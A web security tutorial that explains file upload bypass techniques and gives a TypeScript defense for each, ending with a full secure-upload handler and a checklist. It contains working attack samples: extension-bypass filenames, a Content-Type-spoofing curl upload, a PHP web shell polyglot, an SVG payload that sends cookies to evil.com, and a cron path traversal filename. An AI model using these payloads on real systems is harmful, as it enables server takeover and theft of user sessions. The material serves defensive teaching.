File Upload Vulnerabilities: Bypass Techniques & Bulletproof Defenses
Why File Uploads Are the Most Dangerous Feature
File upload is one of the most exploited web application features. A successful upload bypass can lead to Remote Code Execution (RCE) — giving an attacker full control of your server.
| Upload Attack | Impact |
|---|---|
| Web shell upload | Full server compromise |
| Stored XSS via SVG/HTML | Account hijacking |
| Server-Side Request Forgery via SVG | Internal network access |
| Path traversal in filename | Overwrite critical files |
| Zip bomb / decompression bomb | Denial of service |
| Polyglot files (GIFAR) | Bypass content-type checks |
Bypass Technique 1: Extension Manipulation
# Server blocks .php — try these:
shell.php.jpg # Double extension
shell.php%00.jpg # Null byte (older systems)
shell.pHp # Case variation
shell.php5 # Alternative extension
shell.phtml # Alternative extension
shell.php. # Trailing dot (Windows)
shell.php::$DATA # NTFS alternate data stream (Windows)
shell.php%0a # Newline character
shell.p.h.p # Dot insertion
Defense: Allowlist Extensions + Generate New Filenames
import path from 'path';
import crypto from 'crypto';
const ALLOWED_EXTENSIONS = new Set(['.jpg', '.jpeg', '.png', '.gif', '.webp', '.pdf']);
function validateAndRename(originalName: string): string {
// Normalize and get extension
const ext = path.extname(originalName).toLowerCase();
// ✅ Strict allowlist
if (!ALLOWED_EXTENSIONS.has(ext)) {
throw new Error('File type not allowed');
}
// ✅ Generate new random filename (never use original name)
const newName = crypto.randomUUID() + ext;
return newName;
}
Bypass Technique 2: Content-Type Spoofing
# Server checks Content-Type header — but it's client-controlled!
curl -X POST https://target.com/upload \
-F "file=@shell.php;type=image/jpeg"
# Burp Suite: Intercept upload, change Content-Type to image/jpeg
Defense: Verify Magic Bytes (File Signature)
import { fileTypeFromBuffer } from 'file-type';
async function validateFileContent(buffer: Buffer): Promise<string> {
const type = await fileTypeFromBuffer(buffer);
if (!type) throw new Error('Unknown file type');
const ALLOWED_MIMES = new Set([
'image/jpeg', 'image/png', 'image/gif', 'image/webp', 'application/pdf'
]);
if (!ALLOWED_MIMES.has(type.mime)) {
throw new Error(\`File type ${type.mime} not allowed\`);
}
return type.ext;
}
Bypass Technique 3: Polyglot Files
A polyglot file is valid as multiple file types simultaneously. A GIFAR is both a valid GIF and a valid JAR.
# Create a GIF that's also valid PHP
# GIF magic bytes: GIF89a
echo -e 'GIF89a\n<?php system($_GET["cmd"]); ?>' > polyglot.gif
# The file passes image validation but executes as PHP if served with .php extension
Defense: Re-encode Images
import sharp from 'sharp';
async function sanitizeImage(buffer: Buffer): Promise<Buffer> {
// ✅ Re-encoding strips any embedded code
return sharp(buffer)
.jpeg({ quality: 90 }) // Force re-encode as JPEG
.toBuffer();
// The output is a clean JPEG — no embedded PHP, no XSS, no metadata
}
Bypass Technique 4: SVG XSS
SVG files are XML that can contain JavaScript:
<!-- malicious.svg — Stored XSS when rendered in browser -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>
fetch('https://evil.com/steal?c=' + document.cookie)
</script>
</svg>
Defense: Strip SVG Scripts or Block SVGs Entirely
// Option 1: Block SVG uploads entirely (recommended)
// Option 2: Serve with Content-Type: image/svg+xml AND
// Content-Security-Policy: script-src 'none'
// Content-Disposition: attachment (force download, no render)
Bypass Technique 5: Path Traversal in Filename
# Filename: ../../../etc/cron.d/backdoor
# If the server uses the original filename without sanitization,
# the file could be written to a dangerous location
Defense: Strip Path Components
function sanitizeFilename(filename: string): string {
// Remove path components
const base = path.basename(filename);
// Remove special characters
const clean = base.replace(/[^a-zA-Z0-9._-]/g, '');
// Better: don't use original filename at all
return crypto.randomUUID() + path.extname(clean).toLowerCase();
}
Complete Secure Upload Implementation
import multer from 'multer';
import sharp from 'sharp';
import { fileTypeFromBuffer } from 'file-type';
import crypto from 'crypto';
import { S3Client, PutObjectCommand } from '@aws-sdk/client-s3';
const ALLOWED_TYPES = new Map([
['image/jpeg', '.jpg'],
['image/png', '.png'],
['image/webp', '.webp'],
['application/pdf', '.pdf'],
]);
const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
const upload = multer({
storage: multer.memoryStorage(),
limits: { fileSize: MAX_FILE_SIZE, files: 1 },
});
app.post('/upload', upload.single('file'), async (req, res) => {
if (!req.file) return res.status(400).json({ error: 'No file' });
let buffer = req.file.buffer;
// Step 1: Verify magic bytes
const type = await fileTypeFromBuffer(buffer);
if (!type || !ALLOWED_TYPES.has(type.mime)) {
return res.status(400).json({ error: 'File type not allowed' });
}
// Step 2: Re-encode images (strips embedded code)
if (type.mime.startsWith('image/')) {
buffer = await sharp(buffer)
.resize(2000, 2000, { fit: 'inside', withoutEnlargement: true })
.jpeg({ quality: 85 })
.toBuffer();
}
// Step 3: Generate random filename
const filename = crypto.randomUUID() + '.jpg';
// Step 4: Upload to separate domain/bucket
await s3.send(new PutObjectCommand({
Bucket: process.env.UPLOAD_BUCKET,
Key: \`uploads/${filename}\`,
Body: buffer,
ContentType: 'image/jpeg',
ContentDisposition: 'inline',
}));
// Step 5: Return CDN URL (separate from app domain)
const url = \`https://cdn.myapp.com/uploads/${filename}\`;
res.json({ url });
});
Upload Security Checklist
- Allowlist file extensions (never blocklist)
- Verify magic bytes with file-type library
- Re-encode images with sharp/ImageMagick (strips payloads)
- Generate random filenames (never use originals)
- Store uploads on separate domain/CDN (prevents cookie access)
- Set Content-Disposition and correct Content-Type headers
- Size limits enforced server-side
- Virus scanning for non-image uploads (ClamAV)
- No execution permissions on upload directory
- Rate limiting on upload endpoints
Advertisement
Free Security Tools
Try our tools now
Expert Services
Get professional help
OWASP Top 10
Learn the top risks
Related Articles
Threat Modeling for Developers: STRIDE, PASTA & DREAD with Practical Examples
Threat modeling is the most cost-effective security activity — finding design flaws before writing code. This guide covers STRIDE, PASTA, and DREAD methodologies with real-world examples for web, API, and cloud applications.
Building a Security Champions Program: Scaling Security Across Dev Teams
Security teams can't review every line of code. Security Champions embed security expertise in every development team. This guide covers program design, champion selection, training, metrics, and sustaining engagement.
The Ultimate Secure Code Review Checklist for 2025
A comprehensive, language-agnostic checklist for secure code reviews. Use this as your team's standard for catching vulnerabilities before they reach production.